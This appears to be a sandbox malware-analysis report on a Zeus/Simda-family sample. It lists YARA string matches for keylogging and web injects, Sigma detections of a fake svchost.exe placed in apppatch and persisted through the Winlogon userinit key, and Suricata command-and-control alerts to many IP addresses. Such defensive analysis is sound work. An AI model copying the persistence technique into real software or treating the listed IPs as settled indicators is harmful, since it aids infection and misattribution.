2.3.svchost.exe.b00000.24.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.19.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.38.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
0.3.UMwpXhA46R.exe.7081e8.1.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x477f4:$a1: name=%s&port=%u 0x46fc8:$a2: data_inject 0x4717c:$a3: keylog.txt 0x46e5d:$a4: User-agent: %s]]] 0x47944:$a5: %s\%02d.bmp
2.2.svchost.exe.29a2000.2.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
0.2.UMwpXhA46R.exe.407000.0.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
21.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2ab2000.1.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.12.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.7.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
27.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2e82000.1.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.881000.1.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x4b3f4:$a1: name=%s&port=%u 0x4abc8:$a2: data_inject 0x4ad7c:$a3: keylog.txt 0x4aa5d:$a4: User-agent: %s]]] 0x4b544:$a5: %s\%02d.bmp
19.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2d80000.2.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.40.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.2a50000.6.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.43.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.48.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.32.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.2a50000.6.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.55.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
39.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.d30000.2.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
Click to see the 192 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\UMwpXhA46R.exe, ProcessId: 7020, TargetFilename: C:\Windows\apppatch\svchost.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Windows\apppatch\svchost.exe", CommandLine: "C:\Windows\apppatch\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\apppatch\svchost.exe, NewProcessName: C:\Windows\apppatch\svchost.exe, OriginalFileName: C:\Windows\apppatch\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\UMwpXhA46R.exe", ParentImage: C:\Users\user\Desktop\UMwpXhA46R.exe, ParentProcessId: 7020, ParentProcessName: UMwpXhA46R.exe, ProcessCommandLine: "C:\Windows\apppatch\svchost.exe", ProcessId: 1112, ProcessName: svchost.exe

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\system32\userinit.exe,C:\Windows\apppatch\svchost.exe,, EventID: 13, EventType: SetValue, Image: C:\Windows\apppatch\svchost.exe, ProcessId: 1112, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\userinit

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\apppatch\svchost.exe", CommandLine: "C:\Windows\apppatch\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\apppatch\svchost.exe, NewProcessName: C:\Windows\apppatch\svchost.exe, OriginalFileName: C:\Windows\apppatch\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\UMwpXhA46R.exe", ParentImage: C:\Users\user\Desktop\UMwpXhA46R.exe, ParentProcessId: 7020, ParentProcessName: UMwpXhA46R.exe, ProcessCommandLine: "C:\Windows\apppatch\svchost.exe", ProcessId: 1112, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Windows\apppatch\svchost.exe", CommandLine: "C:\Windows\apppatch\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\apppatch\svchost.exe, NewProcessName: C:\Windows\apppatch\svchost.exe, OriginalFileName: C:\Windows\apppatch\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\UMwpXhA46R.exe", ParentImage: C:\Users\user\Desktop\UMwpXhA46R.exe, ParentProcessId: 7020, ParentProcessName: UMwpXhA46R.exe, ProcessCommandLine: "C:\Windows\apppatch\svchost.exe", ProcessId: 1112, ProcessName: svchost.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T18:50:41.413497+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.6	49809	TCP
2024-11-11T18:51:20.479116+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.6	59201	TCP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T18:50:28.388425+0100	2018141	1	A Network Trojan was detected	18.208.156.248	80	192.168.2.6	49714	TCP
2024-11-11T18:50:28.400852+0100	2018141	1	A Network Trojan was detected	3.94.10.34	80	192.168.2.6	49715	TCP
2024-11-11T18:50:29.056090+0100	2018141	1	A Network Trojan was detected	44.221.84.105	80	192.168.2.6	49720	TCP
2024-11-11T18:50:45.509709+0100	2018141	1	A Network Trojan was detected	52.34.198.229	80	192.168.2.6	53361	TCP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T18:50:28.388425+0100	2037771	1	A Network Trojan was detected	18.208.156.248	80	192.168.2.6	49714	TCP
2024-11-11T18:50:28.400852+0100	2037771	1	A Network Trojan was detected	3.94.10.34	80	192.168.2.6	49715	TCP
2024-11-11T18:50:29.056090+0100	2037771	1	A Network Trojan was detected	44.221.84.105	80	192.168.2.6	49720	TCP
2024-11-11T18:50:45.509709+0100	2037771	1	A Network Trojan was detected	52.34.198.229	80	192.168.2.6	53361	TCP

ET MALWARE Wapack Labs Sinkhole DNS Reply

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T18:50:28.384108+0100	2021022	1	A Network Trojan was detected	1.1.1.1	53	192.168.2.6	63778	UDP
2024-11-11T18:51:02.022620+0100	2021022	1	A Network Trojan was detected	1.1.1.1	53	192.168.2.6	58475	UDP

ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T18:50:20.242899+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52127	178.162.203.226	80	TCP
2024-11-11T18:50:28.382178+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49714	18.208.156.248	80	TCP
2024-11-11T18:50:28.394575+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49715	3.94.10.34	80	TCP
2024-11-11T18:50:28.853586+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49717	23.253.46.64	80	TCP
2024-11-11T18:50:28.967187+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49721	75.2.71.199	80	TCP
2024-11-11T18:50:28.995545+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49719	44.221.84.105	80	TCP
2024-11-11T18:50:29.049618+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49720	44.221.84.105	80	TCP
2024-11-11T18:50:29.129713+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49722	208.100.26.245	80	TCP
2024-11-11T18:50:29.132050+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49718	188.114.96.3	80	TCP
2024-11-11T18:50:29.132181+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49723	199.59.243.227	80	TCP
2024-11-11T18:50:29.316635+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49725	85.17.31.122	80	TCP
2024-11-11T18:50:29.332735+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49726	75.2.71.199	80	TCP
2024-11-11T18:50:29.336475+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49724	23.253.46.64	80	TCP
2024-11-11T18:50:29.938801+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49722	208.100.26.245	80	TCP
2024-11-11T18:50:30.305367+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49716	199.191.50.83	80	TCP
2024-11-11T18:50:30.453744+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49729	85.17.31.122	80	TCP
2024-11-11T18:50:30.765094+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49728	154.212.231.82	80	TCP
2024-11-11T18:50:31.135319+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49728	154.212.231.82	80	TCP
2024-11-11T18:50:31.277356+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49730	188.114.96.3	443	TCP
2024-11-11T18:50:31.640900+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49718	188.114.96.3	80	TCP
2024-11-11T18:50:32.163788+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49716	199.191.50.83	80	TCP
2024-11-11T18:50:32.974570+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49732	188.114.96.3	443	TCP
2024-11-11T18:50:33.801283+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49739	13.248.169.48	80	TCP
2024-11-11T18:50:34.292654+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49745	18.208.156.248	80	TCP
2024-11-11T18:50:34.316861+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49746	3.94.10.34	80	TCP
2024-11-11T18:50:34.461380+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49740	188.114.97.3	80	TCP
2024-11-11T18:50:35.422578+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49753	103.150.10.48	80	TCP
2024-11-11T18:50:36.286835+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49748	188.114.97.3	443	TCP
2024-11-11T18:50:36.525173+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49753	103.150.10.48	80	TCP
2024-11-11T18:50:36.618406+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49740	188.114.97.3	80	TCP
2024-11-11T18:50:38.639221+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49770	188.114.97.3	443	TCP
2024-11-11T18:50:39.231729+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49787	76.223.67.189	80	TCP
2024-11-11T18:50:39.333074+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49786	64.225.91.73	80	TCP
2024-11-11T18:50:39.459120+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49793	44.221.84.105	80	TCP
2024-11-11T18:50:39.661493+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49794	103.224.212.210	80	TCP
2024-11-11T18:50:39.707541+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49795	103.224.182.252	80	TCP
2024-11-11T18:50:40.071995+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49796	154.85.183.50	80	TCP
2024-11-11T18:50:40.396288+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49796	154.85.183.50	80	TCP
2024-11-11T18:50:42.059796+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49821	64.225.91.73	80	TCP
2024-11-11T18:50:42.207628+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49822	72.52.179.174	80	TCP
2024-11-11T18:50:42.710031+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49829	72.52.179.174	80	TCP
2024-11-11T18:50:45.503052+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	53361	52.34.198.229	80	TCP
2024-11-11T18:50:47.379554+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	53377	44.221.84.105	80	TCP
2024-11-11T18:50:48.461931+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49722	208.100.26.245	80	TCP
2024-11-11T18:50:48.644765+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49718	188.114.96.3	80	TCP
2024-11-11T18:50:48.665125+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49728	154.212.231.82	80	TCP
2024-11-11T18:50:48.686836+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49722	208.100.26.245	80	TCP
2024-11-11T18:50:48.810984+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	53397	199.59.243.227	80	TCP
2024-11-11T18:50:48.819147+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	54643	85.17.31.122	80	TCP
2024-11-11T18:50:48.827041+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	54642	23.253.46.64	80	TCP
2024-11-11T18:50:48.845213+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	54644	75.2.71.199	80	TCP
2024-11-11T18:50:49.127177+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49728	154.212.231.82	80	TCP
2024-11-11T18:50:49.343575+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	54648	23.253.46.64	80	TCP
2024-11-11T18:50:49.581438+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	54647	75.2.71.199	443	TCP
2024-11-11T18:50:49.656007+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49716	199.191.50.83	80	TCP
2024-11-11T18:50:49.693241+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	54646	85.17.31.122	80	TCP
2024-11-11T18:50:49.946205+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	54645	188.114.96.3	443	TCP
2024-11-11T18:50:50.392760+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49718	188.114.96.3	80	TCP
2024-11-11T18:50:51.677988+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	54664	188.114.96.3	443	TCP
2024-11-11T18:50:52.549462+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49753	103.150.10.48	80	TCP
2024-11-11T18:50:52.661556+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49740	188.114.97.3	80	TCP
2024-11-11T18:50:53.193925+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49753	103.150.10.48	80	TCP
2024-11-11T18:50:54.724755+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	54680	188.114.97.3	443	TCP
2024-11-11T18:50:55.237760+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49740	188.114.97.3	80	TCP
2024-11-11T18:50:58.118452+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	54701	188.114.97.3	443	TCP
2024-11-11T18:50:58.559668+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49796	154.85.183.50	80	TCP
2024-11-11T18:50:58.867087+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	54724	103.224.212.210	80	TCP
2024-11-11T18:50:58.868021+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	54725	103.224.182.252	80	TCP
2024-11-11T18:50:58.874229+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	49796	154.85.183.50	80	TCP
2024-11-11T18:51:01.715916+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	53764	72.52.179.174	80	TCP
2024-11-11T18:51:02.257245+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	53766	72.52.179.174	80	TCP
2024-11-11T18:51:02.644676+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	53773	99.83.170.3	80	TCP
2024-11-11T18:51:02.653221+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	53774	44.221.84.105	80	TCP
2024-11-11T18:51:02.687438+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	53772	162.255.119.102	80	TCP
2024-11-11T18:51:02.851434+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	53777	199.59.243.227	80	TCP
2024-11-11T18:51:02.871820+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	53776	208.100.26.245	80	TCP
2024-11-11T18:51:03.077021+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52119	3.94.10.34	80	TCP
2024-11-11T18:51:03.122626+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52122	199.59.243.227	80	TCP
2024-11-11T18:51:03.122914+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52121	44.221.84.105	80	TCP
2024-11-11T18:51:03.129382+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52123	208.100.26.245	80	TCP
2024-11-11T18:51:03.131696+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52125	178.162.203.226	80	TCP
2024-11-11T18:51:03.215055+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52124	162.255.119.102	80	TCP
2024-11-11T18:51:03.250811+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52129	18.208.156.248	80	TCP
2024-11-11T18:51:03.387344+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52126	188.114.96.3	80	TCP
2024-11-11T18:51:03.476165+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52133	199.59.243.227	80	TCP
2024-11-11T18:51:03.512905+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52128	188.114.96.3	80	TCP
2024-11-11T18:51:05.390728+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52145	44.221.84.105	80	TCP
2024-11-11T18:51:05.395317+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52146	44.221.84.105	80	TCP
2024-11-11T18:51:05.472086+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52147	3.94.10.34	80	TCP
2024-11-11T18:51:05.478958+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52150	44.221.84.105	80	TCP
2024-11-11T18:51:05.495054+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52149	208.100.26.245	80	TCP
2024-11-11T18:51:08.013364+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52149	208.100.26.245	80	TCP
2024-11-11T18:51:08.359590+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52163	178.162.203.226	80	TCP
2024-11-11T18:51:08.770082+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52172	99.83.170.3	80	TCP
2024-11-11T18:51:09.031576+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52170	91.195.240.19	80	TCP
2024-11-11T18:51:09.288928+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	53776	208.100.26.245	80	TCP
2024-11-11T18:51:09.495150+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	50218	44.221.84.105	80	TCP
2024-11-11T18:51:09.580373+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	50219	178.162.203.226	80	TCP
2024-11-11T18:51:09.643025+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	50210	99.83.170.3	443	TCP
2024-11-11T18:51:09.747199+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	50216	91.195.240.19	80	TCP
2024-11-11T18:51:09.868031+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52171	188.114.96.3	443	TCP
2024-11-11T18:51:09.951696+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	50215	154.212.231.82	80	TCP
2024-11-11T18:51:10.410076+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52164	199.191.50.83	80	TCP
2024-11-11T18:51:10.742762+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52123	208.100.26.245	80	TCP
2024-11-11T18:51:11.007062+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	52128	188.114.96.3	80	TCP
2024-11-11T18:51:11.028634+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	50226	18.208.156.248	80	TCP
2024-11-11T18:51:11.169370+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	50217	199.191.50.83	80	TCP
2024-11-11T18:51:11.524536+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	50227	154.212.231.82	80	TCP
2024-11-11T18:51:12.223562+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	50234	208.100.26.245	80	TCP
2024-11-11T18:51:12.471105+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	50228	199.191.50.83	80	TCP
2024-11-11T18:51:13.389967+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	50235	3.94.10.34	80	TCP
2024-11-11T18:51:13.582954+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	50236	199.191.50.83	80	TCP
2024-11-11T18:51:13.851378+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	50239	44.221.84.105	80	TCP
2024-11-11T18:51:13.909835+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	50242	44.221.84.105	80	TCP
2024-11-11T18:51:13.940191+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	50244	178.162.203.226	80	TCP
2024-11-11T18:51:14.030524+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	50243	162.255.119.102	80	TCP
2024-11-11T18:51:14.291524+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	50238	154.212.231.82	80	TCP
2024-11-11T18:51:14.965158+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	50246	91.195.240.19	80	TCP
2024-11-11T18:51:15.357751+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	50241	199.191.50.83	80	TCP
2024-11-11T18:51:17.440468+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59192	154.212.231.82	80	TCP
2024-11-11T18:51:19.730439+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59197	199.59.243.227	80	TCP
2024-11-11T18:51:19.731431+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59198	44.221.84.105	80	TCP
2024-11-11T18:51:19.732974+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59195	44.221.84.105	80	TCP
2024-11-11T18:51:19.733944+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59199	3.94.10.34	80	TCP
2024-11-11T18:51:21.480505+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59196	199.191.50.83	80	TCP
2024-11-11T18:51:22.284590+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59204	178.162.203.226	80	TCP
2024-11-11T18:51:22.296321+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59206	99.83.170.3	80	TCP
2024-11-11T18:51:22.304407+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59208	18.208.156.248	80	TCP
2024-11-11T18:51:22.316762+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59205	208.100.26.245	80	TCP
2024-11-11T18:51:22.371379+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59200	188.114.96.3	80	TCP
2024-11-11T18:51:22.403885+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59203	162.255.119.102	80	TCP
2024-11-11T18:51:22.755937+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59207	154.212.231.82	80	TCP
